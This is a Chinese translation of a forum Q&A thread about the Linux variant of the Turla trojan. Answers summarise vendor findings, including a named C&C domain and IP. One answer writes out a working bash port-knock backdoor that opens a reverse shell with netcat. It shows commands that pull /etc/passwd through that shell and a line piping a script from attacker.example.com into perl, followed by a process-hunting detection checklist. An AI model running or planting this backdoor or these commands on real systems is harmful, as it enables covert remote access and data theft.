基于 Linux 的 Turla 木马

信息安全 linux 恶意软件 开发 Rootkit
2021-08-17 05:50:24

有几篇文章描述了新发现的基于 Linux 的 Turla 木马。

但基本上,所有这些文章都重复相同的、非常有限的信息。任何人都可以提供更多详细信息,例如:

  1. linux机器是如何被感染的
  2. 是否涉及任何特权升级,或者整个事情只发生在受感染的用户(即 uid 1000)下
  3. 恶意软件代码在受感染机器上“活”在哪里
  4. 加上任何其他有趣的细节
4个回答

TURLA 是一个庞大而复杂的恶意软件家族的最后阶段。至少从 2010 年开始就有已知的 Windows 版本。这个 40 页的演示文稿是我见过的最全面的资源,无论是哪个平台。

TURLA - 开发和运营

一些 Windows 亮点

  • 阶段 0:攻击阶段 - 感染媒介
  • 第一阶段:侦察阶段——初始后门
  • 第 2 阶段:横向运动
  • 第 3 阶段:访问已建立阶段 -已部署 TURLA
  • 在每个阶段,如果他们对目标失去兴趣,他们可以退出

阶段 0:注入向量

第一阶段:侦察阶段

  • 初始后门 - WipBot/Epic/TavDig

  • WipBot 是零日漏洞和 CVE-2013-3346 漏洞利用的组合

  • 导出与 TURLA 同名的函数。没有其他相似之处

  • 破坏调试和大多数恶意软件沙箱

  • 多次处理跳跃,擦除自己的PE部分

  • 卡巴斯基实验室报告中进一步描述

第 2 阶段:横向运动

  • 完善C&C

  • 进一步渗透网络

  • 利用新的后门

  • 获取域管理员凭据

第三阶段:图拉

  • 丢弃在选定的机器上以进行长期妥协

  • 机器可能会被入侵多年而不被发现





其他资源





Linux 亮点

  • 用 C/C++ 编写的 Turla 模块

  • 基于cd00r

  • 可执行文件与多个库静态链接

  • 其功能包括隐藏网络通信、任意远程命令执行和远程管理

  • 它的大部分代码都基于公共资源

  • 无法使用 netstat 检测到

  • 不需要root权限

Linux 可执行文件特征

  • ELF 32 位 LSB 可执行文件,Intel 80386,版本 1 (SYSV),静态链接,适用于 GNU/Linux 2.2.5,已剥离

Linux 静态链接库

  • glibc2.3.2 - GNU C 库

  • openssl v0.9.6 - 一个较旧的 OpenSSL 库

  • libpcap - tcpdump 的网络捕获库

Linux C&C 详细信息

  • 第一阶段 C&C 是硬编码的。已知活动@news-bbc.podzone[.]org

  • pDNS IP:80.248.65.183

Linux 启动/执行细节

  • 进程需要两个参数:ID(用作“用于身份验证的魔术包”的一部分的数值)和现有网络接口名称

  • 参数可以通过两种不同的方式输入:从 STDIN 输入,或者从 dropper 启动样本

  • 输入ID和接口名,启动进程后,返回后门的进程PID

Linux 魔术包

  • 静态链接 PCAP 库

  • 获取原始套接字,应用过滤器,捕获数据包

  • 检查 TCP 标头中的 ACK 号或 UDP 数据包正文中的第二个字节

  • 如果满足条件,则执行跳转到数据包负载内容并创建常规套接字

  • Backdoor 使用新的 socket 连接到 Magic Packets 的源地址

  • 后门报告自己的PID和IP,等待接收命令

  • 使用“/bin/sh -c”脚本执行到达命令

最后的笔记

关于 linux 版本的一切都来自卡巴斯基的报告。不幸的是,此时检测似乎非常困难。

“虽然已知存在来自 Turla 框架的 Linux 变体,但我们还没有在野外看到任何变体。” - 卡巴斯基实验室

这是如何工作的:

简短介绍

为了找到检测它们的方法,我一直在围绕概念和方法进行研究。

为此,我快速编写了一个以大致相同方式工作的小 bash 脚本。

从那里开始,有了一些关于 Un*x 概念的额外知识,我发布了我的清单,它可以帮助在任何系统中找到这个工作木马。

Bash 重写了Turla 敲门

为了理解这是如何工作的,我写了这个:

(这必须在目标主机上运行,​​通过一些远程攻击、病毒或其他方式。)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

这不是完全无法检测到的,但是...

特征

  • 使用 完全无法检测到netstat,同时保持监听攻击者的连接。
  • 使用 [In->Out] 作为 [RANDOM->80] tcp 端口,使连接看起来像任何冲浪连接。
  • 在本地端口 22 上等待特定 IP(散列,因此不可读),无需使用混杂模式,也无需root权限
  • 一旦检测到来自特定 IP 的传入连接(敲门!),这将打开一个到该 IP 的连接,在端口 80 上看起来像一个冲浪连接并提供一个bash,回到这个连接。

注意:真正的木马也可以使用 SSL 和真正的 HTTP 标头来通过代理工作!!

这接受 4 个参数:

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
  • myIpSUm是加盐攻击者IP 的哈希值。可以使用渲染md5sum <<<SaltMyIP192.168.1.31(Salt 可以在脚本中更改)。
  • KnockDoorPort -> bport 是任何已经绑定的端口,在目标主机上使用(如果目标服务 SSH,则为 22 示例,但可以使用任何打开的端口)
  • myPort -> rport 是本地攻击者用于传入连接的端口(80 看起来像传出 http 连接。当然攻击者必须是他主机上的 root!)
  • -i标志可用于bash交互运行

感染步骤

  1. 第一步是使用任何远程漏洞利用(例如shellshock任何缓冲区溢出)来运行此脚本。

  2. 其次,攻击者必须知道目标的 IP,才能knock door在端口 22 上发送一个

  3. 攻击者的 IP使用(作为 root 监听 tcp 端口 80),等待目标的传入连接。

  4. 您正在目标外壳中记录器!

    bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
         ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
    

样本:

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

或者

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

没那么容易被发现

当脚本继续在目标主机上运行,​​并且没有打开攻击者的连接时,使用netcat.

Knock在端口 22 上完成一次,那里经常有很多连接失败真实的 连接看起来像任何传出的 http 连接。

答案:

  1. linux机器是如何被感染的

    这是一个木马,所以这个问题并不重要......(参见Shellshock,示例)

  2. 是否涉及任何特权升级,或者整个事情只发生在受感染的用户(即 uid 1000)下

    不,这样做的一个目标是允许攻击者寻找一种进行权限提升的方法。

  3. 恶意软件代码在受感染机器上“活”在哪里

    1. 无处不在:如果您将其作为附件运行,您可能知道将它们存储在哪里。如果它是从远程漏洞利用运行的,他们可以在运行后删除二进制文件。

    2. 如果Turla是二进制文件(C 编写),则必须将其存储在您的 Un*x 系统中的某个位置,并设置可执行标志才能运行。最近的文件系统允许在运行后删除它们,但 inode 必须保持不变!
      这可以通过搜索在您的系统中运行但位于标准PATH中的二进制文件来显示。

    3. 如果特洛伊木马是一个脚本,则只需将二进制文件链接到文件系统中,因此脚本可以被删除,甚至可以运行STDIN,根本不存储。
      wget -qO - http://attacker.example.com/virus.pl | perl

  4. 加上任何其他有趣的细节

    请尝试我的 bash 脚本...

清单(添加:2015-02-04)

  • 搜索分叉的 pid(其中 Parent Pid == 1)

     grep PPid:\\s1$ /proc/*/status
    
  • 搜索不运行二进制的进程 PATH

     for pid in $(ps axho pid);do
         readlink /proc/$pid/exe |
           sed 's/\/[^\/]*$//'|
           grep -q "^${PATH//:/$\|^}$" ||
             printf "%10d  %-16s  %s\n" $pid "$(
                 sed 's/Name:[\t ]*//;q' /proc/$pid/status
               )" "$(
                 readlink /proc/$pid/exe
               )"
       done
    
  • 搜索长时间运行的进程

     ps axho pid,etime,user,cmd
    

    ...

     ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
    
  • 脚本:搜索制作某种隐藏的过程:比较execommand line

     for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
         printf "%10d  %-40s  %s\n" $pid "$(
             readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
       done
    
  • 使用apparmor,您可以观察访问tcp 堆栈(和/或udp 堆栈)的进程。

  • 使用tcpdump,有一个强大的工作,但一个有效的解决方案:

    注意发出任何类型的请求的传出连接,不必立即成为答案,而是在收到第一个答案后立即发送下一个请求,然后不要关心最后一个请求的答案:收到exit指令时会退出,说类似logout.的东西可以作为当前会话的最后一个 http 请求驱动,但在收到任何http 响应之前关闭。

    实际上,您必须找到一个传出连接,其中数据交换与传出连接的常规方案不匹配,而是server-start-incoming connection-server-stop的混合方案。

    当然,这必须被捕获,因为没有连接是永久打开的。

  • 进行系统调用统计(使用 apparmor)

    感谢 alphanet 的这个想法

    为每个正在运行的进程进行统计,并

    将它们提交给贝叶斯工具以计算常规配置文件

    为了在新进程与常规配置文件不匹配时(甚至当正在运行的进程发生更改)时发出警报。

鉴于 Turla 基于cd00r,不应该涉及任何特权升级。

cd00r作为普通用户应用程序运行,在一些预定义的端口上启动 inetd 服务。因此,删除 int 的执行权限应该足以阻止它。

sudo chmod o=r `which inetd`

回答“加上任何其他有趣的细节”

相关:(Agent.BTZ 或 Autorun,或其他各种名称,SillyFDC)